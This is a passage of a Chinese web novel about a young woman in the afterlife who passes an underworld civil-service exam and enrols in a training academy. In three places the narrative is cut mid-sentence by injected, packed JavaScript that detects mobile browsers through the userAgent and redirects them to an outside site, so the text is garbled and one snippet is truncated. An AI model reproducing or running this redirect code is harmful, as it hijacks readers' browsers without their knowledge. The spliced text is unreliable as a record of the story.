祝平安叉起香肠,默默回头看了一眼厨房,油盐碗碟横七竖八,煎的乌黑的香肠横尸遍地,煮的四分五裂的蛋死不瞑目,厨房像是打过仗一样惨不忍睹。 “吃点东西吧。”里奥一派优雅地在桌边喝咖啡,她竖起报纸,挡住脸部被油星溅到的红痕,不着痕迹地瞥了一眼祝平安,强调:“我不是不会做别的,是因为吃了这个就能考100分。” 一根香肠=1 两个鸡蛋=00 原来一百分是这样组合的吗…… 祝平安端着盘子没有动。 里奥良久没有听到任何动静,她犹豫着放下报纸,想要看看发生了什么,下一秒,一个身躯突然扑在了她的背上,响亮地在她面颊上亲了一记,把这位少女太婆吓了一跳。 倘若是以前,祝平安肯定不好意思对一个看起来跟自己差不多大的女子做出这种举动。但是里奥是自己的曾外太婆嘛~偶尔撒个娇什么的,没关系啦! 里奥也说不出心里是什么滋味,和恋爱那种缠绵战栗的感觉截然不同,这种感觉酸酸的,暖暖的,温和无害,就好像怀抱着刚出生的小奶猫,让人从心灵到骨头都不由得柔软起来。 她放纵自己在这生前从没有感受过的心情里沉溺了一会儿,才故作嫌弃地推开祝平安:“把我的衣服弄皱了!” 祝平安开开心心地吃完了并不好吃的早餐,精神焕发地出门了。考场设在羊城职业学校,地府里,能在死后还保持学习的人很少,所以高等教育并不流行,倒是能培训游魂们学会一门手艺的职业学校大为风靡。因为羊城职业技术学校距离里奥的家很近,所以她们俩打算步行过去。 考场前人头攒动,送考的家长、考前还在看资料的考生、以及混在人群中想要偷窃的小贼、趁机来做些生意的小贩,时不时从天上飞下来的送魂鸟,把学校门口堵得水泄不通。 “这么多人来考试呀!”里奥惊叹。 “考编在哪里都一样热。”祝平安吐槽。 从服饰判断,考生们好像什么朝代、什么种族的都有,但是以现代人居多。祝平安心想这也没错,以古代教育的普及率,大部分民众都是文盲来的,拥有大学同等学力的基本要到秀才了,根本没几个人。哪像是现代,大学生满地跑。从这个报名标准看,这次地府确实想要一些能办事的人员。 祖孙俩随着人流缓缓前进,祝平安突然看到什么东西在地上闪了一下光,她捡起来一看,居然是一张准考证。 果然,不管在哪里,这种大型考试都会出现迟到、走错考场、丢准考证的迷糊考生啊。祝平安把准考证翻过来,试图念着上面的篆文,发现太高估自己的水平了,即使是最近突击学习了古文,这几个字她也不认得。 干脆还是用最好用的方法吧,她拉开嗓门大喊起来:“谁丢了准考证?” “准考证??” 就在他们前头七八米,一个瘦削男子环视四周,寻找声音的来源。他身材修长纤细,恍然竟有种弱不胜衣的风流意态,在人群中,仿佛青竹立于蓬草之间,让人一见难忘。祝平安又大声叫了一遍,男子这才回过头来,向她走了过来。 祝平安无语了,这男子……看起来似乎根本没有生活在人群中的经验。人山人海的大马路上,他身上却是墨镜、口罩、棒球帽、围巾、连帽衫全副武装,连一点皮肤都没露在外面,通缉犯都不一定有他这么小心谨慎。虽说能够理解他不想引人注意的初衷,然而这种特立独行的打扮反而引得大家频频侧目,在人群中更扎眼了。 “是你的准考证吗?”祝平安把手上东西递了过去,“是的话一定要收好,别再弄丢了。” 男子接过准考证,仔细地看了几眼,确定真的是自己的东西,这才拱手为礼:“多谢姑娘了,不知贵姓大名?待散场之后,我一定登门致谢。” 祝平安连连挥手:“不敢当不敢当,这也不是什么大事,好好考试吧。” 谁知这男子却不放过她,继续恳切道:“于你是一件小事,于我来说却是一桩大事,若不容我稍加回报,我怎么过意得去……” 祝平安冷汗都下来了,一个打扮的藏头露尾的人,对着她却礼数周全到将近迂腐,真让人浑身发麻。她对这种对话实在应付不来,一时不知道说什么好。 就在这时,只听得学校大门处传来开考的铃声,人群顿时骚动起来,一窝蜂地往前挤,把两人冲散。祝平安倒是松了口气,对那男子摆摆手:“加油考试就好,别放在心上!” 话音刚落,只见一道闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837477|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着光的弧线从男子的方向飞来,掉落在祝平安怀里,祝平安接住一看,是一只青色的玉佩,造型又像是蝴蝶又像是蛾子,触手温润,一看就价值不菲。 她再抬头,那男子已经被人群挤得看不见了,只听到风中传来他的声音:“今日事忙,不得闲暇,你收好此物,日后便可凭玉佩相认!” 这什么互赠信物的狗血剧啊喂!我只是随手把你掉在地上的东西捡起来了而已! 心中吐着槽,祝平安还是把玉佩交给里奥代为保管,这东西一看就很贵,日后得好好还给人家。里奥矜持地拍了拍她的后背,欲言又止,最终还是叮嘱道:“鉴于你还算懂事,我也很喜欢有人帮我做饭……” 她高高扬起了头,眼睛转开,似乎对自己接下来要说的话感到不好意思,“住完了这三个月,你可以再住一阵子,知道了吗?” 你还算懂事——所以你也添不了什么麻烦; 我也很喜欢有人帮我做饭——我喜欢你住在这里; 你可以再住一阵子——考不上也没关系,家里不缺你一口饭吃! 噢噢!里奥你真是,太体贴啦! 感受到了曾外太婆的心意,祝平安笑了,因考试铃声响起而微微紧张的心情也平复下来。与可爱的太婆挥手作别,祝平安就这样雄赳赳气昂昂的走进了考场。 按照阳间的惯例,考生都排队接受了一番搜身,这里的规矩跟阳间也差不多,不得携带考试资料以及通讯设备,两只相貌可爱的小动物取代了探测器,在考生身上嗅来嗅去。 它们的头颅像是兔子,毛绒绒的长耳朵,大板牙,身子却像是熊猫一样,四肢短胖,憨态可掬,就在祝平安怀疑它们到底能不能发现作弊者的时候,她发现其中一只突然停住了。 仔细地嗅了嗅面前考生的气味,那小动物毫不犹豫地向一名考生扑过去,在那名考生惊恐地尖叫声中,小动物扑落了他的帽子,从里面叼出来一只手机,然后毫不犹豫地咔嚓咔嚓嚼着吃了。 那个场面真是,特别的干脆利落。 全体考生都惊呆了,在大家敬畏的目光里,小动物懵然不觉地抖了抖浑身的毛,两颗大板牙闪闪发光。 这大板牙还真不是摆设呀!幸好我没想作弊……祝平安捏把冷汗。 作弊考生很快就被工作人员带走了,有了前车之鉴,考生们都服服帖帖,带了作弊道具的都自觉处理掉了。祝平安很快通过了检查,到了自己的位子坐下来。 铃响三遍,考试卷子发了下来,祝平安匆匆浏览了一下卷子,心里便有了底。这卷子分客观题与主观题两大部分,各占五十分。客观题部分跟她复习的书本相似度很高,她一眼看去,大约百分之七十都眼熟。 主观题部分只有两道题,一道是:某路段发生了连环追尾事故,请用雅言撰写一份交通事故报告书,要求条理分明、逻辑清晰、叙事清楚,不超过500字。 另一道是:不积跬步,无以至千里;不积小流,无以至江海。请考生用雅言撰写一篇文章,谈一谈这句名言对城市管理工作的启示,要求文理通畅、观点明确、论证有力,不超过1200字。 (注:雅言,即古代书面语,也就是文言文。) 张部长,你到底是什么划重点的天才…… 听着左侧的白领对着主观题发出绝望的哀嚎,看着右侧的书生翻着客观题满眼蚊香圈,在这一刻,祝平安对张松鹤的崇拜简直达到了最高峰! 押题居然全部压中了!张部长,你还当什么差役呀,现在考编这么热,赶快转行到考编辅导班去吧,马上就能财富自由了!保证拳打粉笔脚踢华图,成为一代考编人永远的神! 9. 发榜的日子 祝平安流着热泪,一边在心里默默感谢永远的神,一边在纸上奋笔疾书起来: “跬步虽微,积以千里;小流虽涓,汇为江海。一砖一瓦,累而成广厦;一蔬一饭,足能养氓妇;厦连阡陌,谓之云城;氓妇群聚,谓之云众。是故天下难事,必作于易;天下大事,必作于细;成大事者必拘小节,治大州者必重细务……” 祝平安下笔如飞,她不知道的是,里奥目送她进入考场之后,并没有走。 找小贩买了一根盐水冰棍,里奥吃着冰棍,找了个椅子坐下来,像是所有的家长一样,她打算在这里等着曾外孙女出考场。 不得不说,这还真不像她。里奥默默地想着,忽然有些伤感起来,她老了,即使外表永远停驻在了二十八岁,心也越来越衰老起来,居然开始贪恋所谓后代带来的温情。 不,不是贪恋后代带来的温情,她只是喜欢祝平安,喜欢到了可以给她买东西,可以为她做早餐,可以默许……她一直住在家里。 为什么单单这么喜欢她呢? 血缘关系肯定是一大因素,就好像即使她不愿承认,也依然忍不住开口问了女儿的人生,但除了这个之外,肯定还有别的吧? 毕竟,那个孩子是多么像她呀。 每当她看见那孩子的模样,一百年前那些又苦又甜的时光就会在瞬间闪回眼前。那时候的她和祝平安一样,生气蓬勃、满怀憧憬,走到哪里都高高的昂着头,仿佛总有一天能够征服全世界。 她默默的想着那个风起云涌的年代,坐在父亲膝上时仰头看见的爱丽舍宫的穹顶,登上珠江码头时看见的那些黑瘦苦力,以及离家出走投考黄埔军校时见到的那轮红日,想着自己唱着军歌,挎着步枪大步走在路上的英姿,想着自己是怎么拉着那个人的手,从星光下的靶场一路跑到芳草萋萋的鹦鹉洲…… 可是战争失败了,她最终也失败了。一夜之间,她告别了爱人,缴了枪,回到家,闭上嘴,缩起腰,她不再是里奥,又成了“婉珍”。 她从没有喜欢过自己的婚姻,或者说的更明白一点,是痛恨。她并不爱自己的丈夫,她甚至从没正眼看过他:一个怯懦、庸俗、躺在财产上混吃等死的废物,寄生在劳苦大众血肉里的蛆虫,是她在街头讲演时抨击的那种渣滓。青春和梦想随着那个丈夫的到来全部毁灭,她的灵魂先于□□死在那个出嫁的夜晚,当跳出樊笼的飞鸟再次被关进去,它所受的折磨比从不见天日的鸟儿要来的更深沉、更痛苦。 万幸的是,一年后,她的躯壳也因一场难产干脆利落地咽了气,不用跟那个丈夫共度几十年,倒真是可喜可贺,可喜可贺。 那时候的她万万想不到,那场婚姻给她带来的不仅是一沓能让全家避开战乱的船票,还在一百年后给她带来了这个孩子,这个跟她几乎一模一样的、有着无限光华未来的孩子。 她看着她,就像是看见了一百年前的自己,一样是个子高高的,一样是强韧聪明的,甚至一样的大胆妄为,一样的敢想敢做,坚信着自己的力量,坚信着能做自己的主人。 她有什么理由不去栽培她,喜爱她,抚育她,就像是帮助曾经的自己? 就让这只雏鸟毫无顾虑的展翅高飞吧,飞过屋宇,飞过白云,飞过日月,让她那坚强的双翼承载着所有遗憾与希望,自由自在地翱翔在山海之间。 考场上,距离收卷还有五分钟,祝平安长吁一口气,为自己的文章结了尾:“……细务完备,则人皆居有其所,乐其所业,姻其所爱,得其所愿,是谓州府稳固,是谓盛世大同。” 铃响三声,考生们交了卷子,往场外走去。一出了场,人群里立刻爆发出闹哄哄的抱怨: “什么破题?我考的是差役,不是律师!”一看这位就是没复习过法律法规。 “诸位仁兄,不知这“社区”为何物啊?社,是社戏之社,还是结社之社?区是区别之区,还是区区之区?”区来区去的咬文嚼字,老儒生来考客观题毕竟是吃亏哦! “这道题目怎么可能是选甲!明明是乙,天王老子来了也得选乙!”对答案的已经为了一道题目争的面红耳赤了! “大作文还是好写的,题目不是很难,这次应该能考得不错!”这位选手很乐观。 “啊?用文言文写1200字还叫好写啊?兄弟你是什么学霸!古汉语专业的吗?”立刻就有人来取经了。 “什么文言文?”学霸很不解。 “主观题部分都要用雅言作答呀,雅言就是文言文!”旁边的热心群众接口解答,“你不会是用现代文答卷了吧?” “啊啊啊啊啊啊!这下死定了,我根本就不知道什么是雅言啊!还以为他是让我把文章写的高雅一点不要说脏话!” 祝平安就这样混在一片嘈杂里,艰难地挤出了考场,看着里奥衣冠楚楚地挤在人群里四处张望,便立刻向她挥起了手臂:“里奥!里奥!我在这里!” 祖孙俩碰了面,里奥自然地接过祝平安的包,挽着她往家里走。 “考得怎么样?” “客观题部分还可以,有百分之七十都会做。主观题有一道答得还可以,作文写的不怎么样,写到一半就词穷了,只好把能想起来的名言成语都一股脑写上去了,到最后我都不知道自己在胡说八道什么,希望客观题能多蒙对几个,起码分数不要太难看……” 叽叽咕咕的说些闲话,祖孙俩很快便回了家,祝平安一进门就倒头睡下了,这一觉就睡了三天三夜,没办法,前阵子学习太拼命,累的。 她一倒下,倒是苦了里奥。也不知道是不是那天有人看见她们家有考生,每天都有人来摁门铃,问她们需不需要估分。还有大量宣传册投递进家里,连门口的信箱都塞不下啦!宣传单上面清一色罗列着所谓正确答案,还有好多估分成绩奇高无比的考生在打广告,说自己就是跟着某某老师学习,才能考到高分云云。 这些东西里奥一张也没让祝平安看见,全部扔到厨房的炉子里毁尸灭迹了:开玩笑,里奥当年也是考过试的!她很清楚考生的心情,这种只会贩卖焦虑的东西,别想碍着祝平安的眼! 在里奥与推销员奋战,祝平安呼呼大睡的时候,另一边,羊城的人力资源署,也是灯火通明,人人忙的团团乱转。 一个月转瞬即逝,在人力资源署燃烧生命的加班加点之下,考试成绩已经基本统计完毕,主办考试的大人物们正坐在一起,开会商讨本次的成绩。 “此次的成绩出人意料。”主抓考卷批改的郑老师侃侃而谈,对着与会人等展示一张报表,“此次一共有二百万考生参与考试,而我们只打算录取前两万人,也就是说,本次考试竞争比是100:1,远超过去我们举办的所有考试。” “过去一共也就举办过三四次考试好么?”说话的是负责出考卷的朱教授,“而且以前只考四书五经八股文,顶多也就两三万人来考,跟这种考试根本不一样的!” “就是就是!光是准备考场就忙的够呛!” “运输考卷就累坏了好几个司机!” 众人七嘴八舌,最上首的人力资源署长魏玄成轻咳两声,会场这才安静下来,郑老师接着说:“此次出卷,本以为现代人获得高分的会更多,他们的成绩反而可以说是惨不忍睹,虽说参与考试的现代人占了考生的90%,但能够跻身前两万名的,跟旧式考生不过是五五开,最高分依然是旧式考生。” “也不能怪现代考生不争气,客观题部分其实大部分考生都不会,而主观题部分,旧式考生无疑更有优势。” “绝大多数考了高分的,多是在生时就有一定的主政经验,出生在1920-1950年间的游魂,既有旧学底子,又了解现代政务,从这一方面来说,我们的选拔目的也算是达到了,确实有些骨干精英被选了出来。” 魏玄成拿起桌子上的几份考卷一一看过,良久,他放下卷子,捻着自己的山羊胡开口道:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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敬爱的魏署长,您知不知道这一句话下去,给我们增加了多少工作量啊?去哪里找老师?要开几门课?去哪里找场地?连教材都没一本啊!!!考试还不算,怎么又增加了这一出?我们的命就不是命吗? 众人你看我我看你,最后又看向魏署长的小胡子,最终还是把满肚子的苦水咽了回去。谁不知道,魏署长虽说还算公正,但也是出了名的铁面无私不近人情,只要他觉得对大众有益处的事情,不管多么烦难也是要推行下去的,跟他对着干,保证没有好果子吃。 得,领导一句话,下面跑断腿,谁让他们命苦,跟了这么一个领导呢?众人你看我,我看你,只得继续投入到文山会海之中。 祝平安等成绩等到吃不下睡不着,里奥每天三次出门去看公告栏,就在考生们都快等到发疯的时候,姗姗来迟的成绩单总算是出现在了城门口的公告栏。 祝平安祖孙一大早就挤到下面看榜,很快,她在祝姓栏中找到了自己的名字:祝平安,62分,第一万零八千名,准予录取,请在十月一日前,持准考证前往人力资源署报道。 周遭的喧嚣突然变成一片静默,祝平安盯着准予录取几个字,无数的念头纷至沓来,果然,张松鹤说的没有错,我有才能,我证明了我有才能!虽然说是吊车尾,但好歹也是考上了! 她还没来得及想别的,里奥已经兴奋地一把抱起她,又是唱又是跳。里奥意气风发:“下的苦功夫没有白费!一会带你去下馆子!必须好好庆祝一下!” “还是先去报到吧,夜长梦多啊!”祝平安虽说也兴奋地脸色通红,但还是保留着一些理智,“说不定还要我准备些资料,预备单位审查什么的,这种考试的麻烦可多啦!” 两人回家取了小摩托,抓紧去往人力资源署。顶着大黑眼圈的差吏检查了她的鬼民证和准考证,有气无力地在一张纸上盖了个章递过来,“恭喜,你被录取了。” 祝平安面上矜持地微笑,实则激动万分地低头看向手里的纸张:“琢玉学院录取通知书?” 她跟里奥面面相觑起来,不是录取了吗,这是……把她录取到什么地方去了? 10. 琢玉学院开学了 “想要顺利上岗,你们还需要在琢玉学院进修半年,通过结业考试后,根据表现分配岗位,如果通不过考试就取消上岗资格。”那差吏木着一张脸,一副油尽灯枯的样子,“一周后,拿着行李和这张录取通知书去指定地点报道,学校包吃住,你们需要住校的。” 祝平安一拍脑袋,这不就是岗前培训吗!没想到地府也搞这套! 纵然和自己想的不太一样,但总是自己千辛万苦考上的,祝平安还是火速回家收拾了行李去上学了。学校所在的地址在郊外,小摩托开过来太慢,里奥没法来送,祝平安又声称自己打死都不会乘坐送魂鸟,里奥最后只好叫了一辆马车送祝平安去上学。 “你先回去吧!”祝平安坐在车里挥手,“我会经常给你写信的,要是有了假期我一定回家来!” 马车缓缓启动了,祝平安回头看着身影逐渐缩小的曾外太婆,又想起那空荡荡的大宅,不免替她感到了几分寂寞。 “要是有手机就好了呀!”她不由得怀念起生前那发达的通讯网络。没办法,一些游魂虽然有家人烧下来的手机,但可惜,没有人想起给逝者烧手机卡、路由器什么的,当然,就更不会有什么信号塔、信息基站了。 所以手机电脑什么的,在地府里根本就只能当照相机和播放器来用哦!纯纯的单机体验!地府的基建毕竟不比人间,大概也就跟1970年代一样,通讯主要居然还是靠送信,信息交流实在太不方便啦! 祝平安在心里默默立了个志愿,如果以后自己有能力的话,一定要在地府搞高效信息系统,由奢入俭难,没网什么的,现代人根本受不了呀! 马车拉着祝平安哒哒哒哒跑了三个小时,从沥青马路走到乡间小路,又从乡间小路走到泥巴路,到最后,根本啥路都没有了,车子直接行驶在泥巴坑里,越走越是艰难。祝平安从马车里往外看,城市的影子一点都看不见了,她不禁问车夫:“还有多久?” “快了,快了!” 就在快了快了的谎言里,祝平安又在车上颠簸了两个小时,最终提着大包小包下来的时候,她只觉得腰都要坐断了。 再看看路边,除了浑浊的河水,就是血红色的曼珠沙华,简而言之,一片大荒地,就在她左顾右盼,寻找所谓的学校时,林子里又出现一辆马车,车上坐着一个虎背熊腰的大汉,只穿着背心短裤,一脸胡子像是钢针一样根根分明。 “你是干什么的?”大汉握着马鞭子,警惕地瞪着祝平安,“这里现在是禁区,闲杂人等一律不得入内。” “我不是闲杂人等,我是琢玉学院的学员!”祝平安连忙递上录取通知书,“大叔,您知道琢玉学院在哪吗?” “学员?”大汉拿过录取通知书仔细查看,直到验明了祝平安真是学员,方才放松警惕,“这里是学院的后门,平常是没人进出的,你怎么到这里来的?” “我看录取通知书上说是羊城郊外的七槐山,所以就叫马车过来的……” “我的天呀,马车?”大汉哈哈大笑起来,“马车从羊城到这里足有五个小时的路呢,你怎么不坐送魂鸟来呢?” “我晕鸟……” “估计学校都没想到有人是坐马车来的,录取通知书的那个地址也是留给送魂鸟的,实际上学校在七槐山山顶呢,马车肯定只会把你拉到山脚下!要是从空中过来就很显眼了,不会找不到的!” “啥?” 祝平安仰头向上看,山路九转十八弯,她傻住了:这……这要她怎么上的去哦!何况还拖着行李呢! “上来吧上来吧,我这车也是要到学校去的,顺便捎你一段。”大汉很热心,“不过我这是给食堂送菜的车,你可能得跟萝卜土豆挤一挤。” “太感谢您啦!”祝平安连忙感谢好心人。大汉帮她把行李搬上了车,祝平安小心地在萝卜堆旁边收拾出一个地方坐了下来。 马车再次启动,两人也有一搭没一搭地说起闲话来。谁知两边一聊下来,感情还不是外人,原来这个大汉叫袁金宝,生前也跟祝平安是一所大学毕业的! 有了这层关系,两人一下就亲近多了,袁金宝告诉祝平安,生前他的工作就是市场监督,死后也因为这份履历被单招进了市监部,不过现在他是琢玉学院食堂的职工,每天都要负责去山下进菜。 “幸好你有点运气,遇到了我!否则这山路你得爬一天,到时候分宿舍就分不到好的啦!”袁大叔给学妹传递内部消息了。 “咦?宿舍不是早就决定好的吗?” “哪有哦!好宿舍是先到先得!”袁大叔爆料了,“这个学校办的很仓促的,没看场地都是随便找了个荒山吗,人力资源署火烧屁股忙了一个月,也只盖起来几栋彩钢房当教学楼,只好用帐篷暂充宿舍了。这些帐篷有大有小,距离教学楼也有远有近,要是去晚了肯定只能被分到最边缘的位置,跟二十多人一起挤着睡,想睡个好觉都难哦~” “啥?只有帐篷住吗?这办学条件也太差了吧!” “听说开设这个学校也是临时决定的,时间紧任务重,一切制度设备人员都是急就章。就说我吧,我原本在市监部是专门负责巡查农贸市场的,根本就不怎么会做饭,也被抽调过来这里的食堂了。” “不会做饭?那怎么能来食堂工作呢?” “人力资源署的那些人说,不会做饭没关系!我来这里工作能够发挥更大的作用。”袁大叔神秘兮兮地压低声音,“我对羊城农贸市场的商贩都很熟了,以前工作的时候经常跟他们打交道嘛!这些人知道我是市监部的,我去买菜的时候,他们就不敢以次充好缺斤少两!” “你看,这些土豆多圆呀!萝卜也个个水灵灵的!”袁大叔美滋滋。 “说的也对,食材的品质也很重要呀!”祝平安也觉得有道理,“反正其他人会做饭就行了嘛!” “其他人好像也够呛呢!”袁大叔扳手指了,“负责做面点的大伟,原本是食安巡检部做质量检测的;负责拌凉菜的小五,是农业部的技术员;负责做炒菜的阿琴,本来是文艺协会的,都没有正经学过厨艺。” “咦?文艺协会?”食安巡检部跟农业部的人被抽调过来也还能理解,毕竟也是跟食品蔬果打交道的人,这文艺协会是怎么回事? 感受到了祝平安迷惑的眼神,袁大叔立刻贴心的答疑解惑了:“能做炒菜的大师傅都是抢手货,特别难找!本来以为最后只能花钱外聘了,结果文艺协会说,他们的副会长阿琴在酝酿一部长篇小说,是个厨子用美食征服外星人,最后把餐馆开到全宇宙的故事,正缺乏素材呢,这不,正好可以到我们这来体验生活!” 真是,好不知道让人说什么的理由呢…… 得知了食堂工作组的人员构成,祝平安彻底对未来六个月的学校生活死心了,这什么草台班子学校?在这真能学到东西吗? “别这么想呀,人力资源署那帮家伙是好钢用在刀刃上,虽然后勤保障方面是凑合了点,但是师资力量真是很豪华的!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837479|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >袁大叔拍胸脯保证了,“人力资源署的署长亲自担任校长,有好多名震四方的前辈都被请来做老师了呢!我前两天还在校园里看到那个谁了,我都想去旁听他的课……” “哪个谁哪个谁?说清楚点啊!” 就在愉快的八卦声中,袁大叔把祝平安送到了学校大门口,这里果然是人山人海,天上的送魂鸟堵成一团,简陋无比、一看就是临时打造的大木牌上写着“琢玉学院”四个大字,就当是大门口了。 木牌后都是醒目的帐篷,帐篷上挂着“消防署”、“税务部”、“交通部”等字样,每个帐篷前也是大排长队,拉着行李的学员们来回穿梭,满地都是学院地图、宿舍分布图之类的宣传册。 约定了以后会到食堂拜访袁大叔之后,祝平安提着大包小包下了车。她还没站稳,就听到一声热情的问候: “同学你好!请问是来报道的吗?我是新生接待志愿者,有什么问题都可以问我哦!” 哇哦,真是好可爱的志愿者啊~ 说话的人头戴一顶写着志愿者字样的小红帽,毛绒绒的大耳朵,圆溜溜的黑眼睛,身量不高不矮,面容娇憨可爱,屁股后面一条金色的大尾巴正在左右摇动,看上去要多热情有多热情! 祝平安捧着脸,被萌翻在地,虽然已经在地府见到了一些妖族,但是她还从没见过这么可爱的、大、金、毛! “我是来报道的,这是我的录取通知书~”祝平安不由自主地也夹起了声音,她对可爱的生物最没有抵抗力了,哎呦这个大耳朵!好想摸好想摸! “我看看,哦,祝平安同学是吗。原来您是公共安全部的学员,请跟我来!”大金毛的笑容更灿烂了,非常自然地接过了祝平安的行李,大金毛头前带路,祝平安屁颠屁颠地跟在他尾巴后面,被那金色的毛绒绒迷得神魂颠倒。 “你也是新生吗,叫什么名字呀~”祝平安忍不住搭讪了! “我叫金毛毛,是应急管理部的新生。” 金毛毛是吗,虽然这名字很土,但是跟你一搭配起来真是棒极了! “新生?我看你很熟悉校园了啊?” “我也只来了半天而已,但是我的族群非常擅长认路哟!”金毛毛抽动鼻子,“即使是第一次来的地方,我只需要做一下记号就都记得住!” 喂,你说的做记号不会是……尿尿? 祝平安决定还是不要细想这件事,继续发问:“学校已经有志愿者协会了吗?现在有多少名志愿者呢?” “志愿者协会?”金毛毛的眼睛突然亮了,“就是大家聚集在一起帮助别人的协会吗?好主意!我怎么没想到呢!” “咦?原来没有这种协会的吗?那你的小帽子……” “哦,那个是我自己做的!”金毛毛的笑容超级纯良,“我报到了之后,看到好多新生都不是很懂报到的流程,心里真是很想帮助他们呀!所以我就站在大门前问他们需不需要我帮忙,但是没人理我。” 也不能怪他们,太过热情的人在我们的社会往往被认为是骗子,祝平安心里暗想。 “后来有个人告诉我,可以做一个志愿者的标志带在身上,这样大家就会接受我的帮助了!我按照她说的在帽子上写了这几个字,果然好多了!大家都接受了我的帮助,还有人隔了老远就叫我去帮忙呢!”金毛毛陶醉地眯起眼睛,被需要什么的,最开心啦~ 真是好热情的狗狗啊!果然狗狗都是小天使来的!祝平安对金毛毛更加另眼相看了。 11. 新生报到处 金毛毛把祝平安带到了公共安全部的帐篷前排队,并再三叮嘱祝平安登记结束后再来找他,他会送祝平安去选宿舍(其实他不说祝平安也一定会去找他的)。 帐篷里有一名职工坐在登记处,核对着学员的录取通知书、准考证,还要检查一遍行李里有没有违禁物品,一切核验通过才能发给学生证。队伍缓缓蠕动前行,结果就在快排到祝平安时,队伍前方突然骚乱起来。半天过去,骚乱丝毫没停下来,反而还有越演越烈的形式。 “为什么我的行李就不能进?你说,哪里违规?” “同学,不是我不给你进,是因为宿舍地方比较小,即使我放你进去,只怕你宿舍也塞不下!” “我会想办法的啦,你不用操心这个!” 你能想出什么办法哟!祝平安伸着脖子往前看,被那堆被拒绝入内的行李震撼到了。 其余学员最多带两个箱子一个包,这位学员的行李居然是用板车拉过来的!一摞摞轻小说、漫画、游戏杂志堆满了小板车,最上面还堆着两台电脑、一台红白机、五台不同世代的ps游戏机,以及零零散散一大堆手办。这车行李几乎有两米高,简直要把那个学员埋进去了! 眼看着两人争执不下,你来我往的吵了十分钟还没分出胜负,后面被耽搁的人越来越多,祝平安也有点发急了:再等一会儿,好宿舍可就都让别人挑走啦! 她把行李留下占个位置,大踏步上前去:“喂,不要无理取闹啊。” “哟!这还有个多管闲事的,联合起来欺负——嗯?是你?”行李巨多的学员一叉腰,摆出泼妇骂街的架势转过头来,“你你你你是那天那个……?” “白子欣?” 眼前的少年细瘦的像条豆芽菜,脸上的皮肤比她这个溺死鬼还惨白,可不就是那天跟她一起被逮的难兄难弟白子欣么?两个人一对眼神,都是吃惊不小,负责登记的职工不由得开口询问:“你俩认识?” “我们以前在公……”“我们是熟人!”白子欣迅速把话接了过来,还甩给祝平安一个眼刀,警告她不要随便把两人被抓过的事情讲出来。 “太好了,你快帮我劝劝他,我们这的条件确实有限,带太多行李,他的室友根本就没法睡了!”负责登记的职工好像抓到救命稻草。 “我在哪,我的东西就在哪,要我跟它们分开,办不到!录取通知书也没有限制行李的多少啊!”白子欣慷慨激昂的一扭头,“再说我已经带过来了,现在难道要我再把它们送回去?你知道我费了多大的劲才把它们弄上来哟!来回一趟我都赶不上开学了!” 这倒也是个实际的问题,祝平安皱眉沉思了一会儿,想起袁大叔刚刚透露的消息,脑中突然蹦出了一个小灯泡。 在脑中拼命回想着张松鹤摆平曾外太婆时候的气势,祝平安微笑着开口了: “请问,您反对这位学员带这么多行李进入学校的原因,是因为宿舍都是帐篷,害怕放不下是吧?” “是呀,我这也是为了大众考虑。他这堆行李一进去,哪还有人睡的地方啊!” “那么,就不能让他单独住一个帐篷吗?”祝平安尝试在脸上挤出和善的微笑。“我知道他一个人挤占多人用的帐篷不合适,但是,如果他能够自带一个帐篷来呢?” “绝对不会占用公共资源,只是在学院的边缘占据一点点地方,完全不会打扰其他学员的!” “可是……这样不合规矩呀。”负责登记的职工为难了,“如果同意他自带帐篷,那么大家就都想自带帐篷住单间啦,我们学校哪有这么多的地哦!” “是吗……那真是太可惜了。”祝平安做作地扭过头去,拼命给白子欣使眼色,“这些物品都是他的妈妈供奉来的,有些甚至还是老人家排整天的长队抢购的呢!这些东西在您眼里只是行李,但在他眼里都是妈妈的爱。” “啊?原来是这样……”负责登记的职工有些被打动了。 “我下来已经二十多年了,从我死的那刻起,每个月新出的漫画、游戏,我妈妈都会给我买一份,年年月月从不断绝,你看,最新的一期就是上个月的呢!”白子欣也不是傻瓜,立刻顺溜地接上了祝平安的戏,还挤出了两滴眼泪,“到今年,妈妈也七十多岁了,也不知道还能给我买几期漫画,每次看到它们,我就觉得、觉得妈妈还陪在我身边……我再也不想跟妈妈分开了!” “我十几岁的时候就死了,我跟妈妈分离的时间比在一起的时间还要长了,我没有一天不在想她,请您至少……至少把它们留在我身边吧!”白子欣眼珠潸潸落下,躬身恳求。 “原来还有这么感人的故事!”负责登记的员工感动地眼泪汪汪了,“我的亲人可没有这样好,我下来不久就再也没给我烧过纸了!” 大手一挥,她下了决定:“你要自带帐篷是吧?如果你将自带的帐篷捐献给琢玉学院公共安全部,作为公用的医疗室,安置多几张病床,并且一直在医疗室内居住值班,我就同意收下你的捐赠了!” 这就是放行的意思了,祝平安捅了一下白子欣,他立刻再次鞠了一个90度的躬:“真是太感谢您了!” 